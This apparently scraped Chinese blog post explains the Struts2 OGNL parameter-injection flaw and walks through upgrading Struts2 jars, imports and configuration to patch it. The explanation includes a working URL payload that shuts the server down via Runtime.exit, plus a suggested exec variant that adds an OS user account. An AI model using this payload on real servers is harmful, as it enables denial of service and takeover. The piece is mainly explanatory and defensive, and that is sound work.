http://www.myexception.cn/software-architecture-design/1489099.html

struct2漏洞及升级

一、Struct2漏洞原理[转]

Struts2的核心是使用的webwork框架,处理 action时通过调用底层的getter/setter方法来处理http

的参数。它将每个http参数声明为一个ONGL语句。当我们提交一个http参数:

?user.address.city=Bishkek&user['favoriteDrink']=kumys

ONGL将它转换为:

action.getUser().getAddress().setCity("Bishkek") ,action.getUser().setFavoriteDrink("kumys")

这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用ValueStack.setValue()。为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参

数名中出现“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻击者就可以绕过保护,

修改保护Java方式执行的值。

此处代码有破坏性,请在测试环境执行,严禁用此种方法进行恶意攻击

?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime

@getRuntime()))=1

转义后是这样:

?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))

&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1

OGNL处理时最终的结果就是:java.lang.Runtime.getRuntime().exit(1);  //关闭程序,即将web程序

关闭类似的可以执行java.lang.Runtime.getRuntime().exec("net user 用户名 密码 /add");//增加操

作系统用户在有权限的情况下能成功(在URL中用%20替换空格,%2F替换/),只要有权限就可以

执行任何DOS命令

二、升级structs2,修补漏洞

1、替换jar包
  删除的包有:
  commons-lang-2.2.jar
  ognl-2.6.11.jar
  struts2-codebehind-plugin-2.0.11.1.jar
  struts2-core-2.0.11.1.jar
  struts2-jasperreports-plugin-2.0.11.1.jar
  struts2-spring-plugin-2.0.11.1.jar
  xwork-2.0.4.jar

新增的包有:

commons-lang-2.4.jar

commons-lang3-3.1.jar
  javassist-3.11.0.GA.jar
  ognl-3.0.6.jar
  struts2-core-2.3.15.1.jar
  struts2-jasperreports-plugin-2.3.15.1.jar

struts2-spring-plugin- 2.3.15.1.jar
  xwork-core-2.3.15.1.jar

二、替换代码

查找以下类

import org.apache.commons.lang.StringUtils;

import org.apache.commons.lang.builder.ToStringBuilder;

import org.apache.commons.lang.builder.ToStringStyle;

import com.opensymphony.xwork2.util.TypeConversionException;

分别替换为

import org.apache.commons.lang3.StringUtils;

import org.apache.commons.lang3.builder.ToStringBuilder;

import org.apache.commons.lang3.builder.ToStringStyle;

import com.opensymphony.xwork2.conversion.TypeConversionException;

三、修改配置文件

Web.xml
删除配置

<filter>

<filter-name>struts-cleanup</filter-name>

<filter-class>org.apache.struts2.dispatcher.ActionContextCleanUp</filter-class>

</filter>

<filter-mapping>

<filter-name>struts-cleanup</filter-name>

<url-pattern>/*</url-pattern>

</filter-mapping>

ActionContextCleanUp在2.1.3之后的版本不需要配置

修改配置

<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>

替换为

< filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>

FilterDispatcher是struts2.0.x至2.1.2的核心过滤器,StrutsPrepareAndExecuteFilter在2.1.3开始代替FilterDispatcher

struct2.xml

1、如果在struts配置文件中有使用的redirect-action话
需要将redirect-action替换为redirectAction

2、新版本关闭了动态方法调用,即”action名 + 感叹号 + 方法”的访问方式被关闭。如果要打开需要在struct2.xml加入以下配置,默认打开。<constant name="struts.enable.DynamicMethodInvocation" value="true" />但建议还是不打开,毕竟暴露方法名还是有一定危险性。

四、修改jsp页面

1、struts2.0.11起标签不再支持EL表达式
可通过myeclipse搜索工具输入<s:*${*}进行匹配搜索逐个修改,也可通过
自己写代码进行文本替换。
建议:由于s:if标签与c:if结构相似,可以考虑使用c:if代替,降低风险。

2、不支持java代码
如: <s:set name="xmjbflid" value="<%=java变量名%>"/>,可用c标签替换
<c:set var="xmjbflid" value="<%= java变量名%>"/>

struct2破绽及升级相关推荐

  1. 2018服务器 芯片组,【2018年核心平台年终盘点 】多核心处理器大普及,显卡体验/消费双升级...

    处理器篇 从去年至今,处理器的"核"大战愈演愈烈.在芯片制造工艺已经接近天花板.想有质的飞跃十分困难的情况下,AMD和Intel都选择了堆核心这一升级路线(AMD锐龙的出现也大大加 ...

  2. 卧槽,换脸技术升级啦!可以可以!

    [导读]AI 换脸技术全新升级,DeepFaceLive 推出实时换脸软件,一键安装,新手友好,换脸后丝毫看不出破绽. 欢迎光临「DeepFace 整容所」! 无需开刀!无需微创! 双眼皮.开眼角.瘦 ...

  3. 系统架构升级要不要上微服务?历“久”弥新微服务——你真的需要升级微服务架构吗

    在 <微服务架构设计模式> 一书中,作者总结了关于微服务的一些"重点",原文如下: 中国企业和开发者对微服务架构的热情让我印象深刻.但如同我给所有客户的忠告一样,我想对 ...

  4. 使用rancher对Docker容器服务升级

    这是笔者以前使用到的一个docker管理工具--rancher 升级服务的步骤 记录一下,说不定有人需要或者以后能用上呢? 1.打包好后上传服务器,编写Dockerfile FROM jdk8apli ...

  5. pip 升级之后提示 bash: /usr/bin/pip3: No such file or directory

    1. 问题现象 pip 升级之后使用时报错: $ pip3 -V bash: /usr/bin/pip3: No such file or directory 通过命令查找 pip 位置 $ whic ...

  6. 旷视MegEngine核心技术升级

    旷视MegEngine核心技术升级 7 月 11 日,旷视研究院在 2020 WAIC · 开发者日「深度学习框架与技术生态论坛」上围绕 6 月底发布的天元深度学习框架(MegEngine)Beta ...

  7. 计图(Jittor) 1.1版本:新增骨干网络、JIT功能升级、支持多卡训练

    计图(Jittor) 1.1版本:新增骨干网络.JIT功能升级.支持多卡训练 深度学习框架-计图(Jittor),Jittor的新版本V1.1上线了.主要变化包括: • 增加了大量骨干网络的支持,增强 ...

  8. 快手推荐系统及 Redis 升级存储

    快手推荐系统及 Redis 升级存储 借傲腾™ 补上 DRAM 短板 内容简介: · 作为短视频领域的领先企业,快手需要不断导入更先进的技术手段来调整和优化其系统架构,以应对用户量和短视频作品数量的爆 ...

  9. YOLO3升级优化版!Poly-YOLO:支持实例分割!

    YOLO3升级优化版!Poly-YOLO:支持实例分割! POLY-YOLO: HIGHER SPEED, MORE PRECISE DETECTION AND INSTANCE SEGMENTATI ...

最新文章

  1. 提升思辨能力和判断力
  2. SD-WAN与传统WAN设备相比
  3. Hadoop 统计单词字数的例子
  4. Case Study. Technical and Commercial understating. Internal use only.
  5. 使用静态基类方案让 ASP.NET Core 实现遵循 HATEOAS Restful Web API
  6. linux内核设计与实现 epub_Epoll学习服务器的简单实现-Linux内核Epoll结构
  7. C++单例实现及回收(转)
  8. linux怎么db2命令窗口,Linux 命令行进入DB2
  9. 基于C51单片机的锂电池容量检测仪电压电流检测 原理图PCB程序设计
  10. as常用固定搭配_as固定短语搭配
  11. 央国企的企业并购重组信息能在塔米狗上找到吗?
  12. 使用流报错:stream has already been operated upon or closed
  13. dockerMySQL数据库主从一主一从
  14. 苹果xr十大隐藏功能_今天才发现!苹果手机闹钟除了提醒起床,还有3个隐藏功能...
  15. android usb鼠标,用鼠标键盘控制你的Android手机完整图文教程
  16. 技术胖Web前端视频教程合集
  17. chrome书签变透明看不清怎么办
  18. 导航定位用户向服务器发送位置请求6,跨平台的地理位置定位方法、平台及定位接入服务器...
  19. Python开发-flask框架学习
  20. 做设计这么久,UED/UXD、IXD、GUI到底是什么?你分清了吗

热门文章

  1. jquery的ajax()方法与生命周期
  2. 人工智能发展方向是什么?AI如何改变世界?《AI未来》
  3. 机器学习排序算法:RankNet to LambdaRank to LambdaMART
  4. 20145204张亚军《网络对抗技术》恶意代码分析
  5. Arch Linux/其他 Linux 下给 Link2/LPC-Link2 调试器刷 CMSIS-DAP 和 J-Link 固件
  6. depot_tools在windows上用遇到的问题和RTC编译出错
  7. Mariadb数据备份恢复xtrabackup使用
  8. Linux命令查看子进程命令,Linux基础命令——查看进程命令
  9. Unreal Engine中的UHT和UBT
  10. 日期选择器(年、季、月、周)展示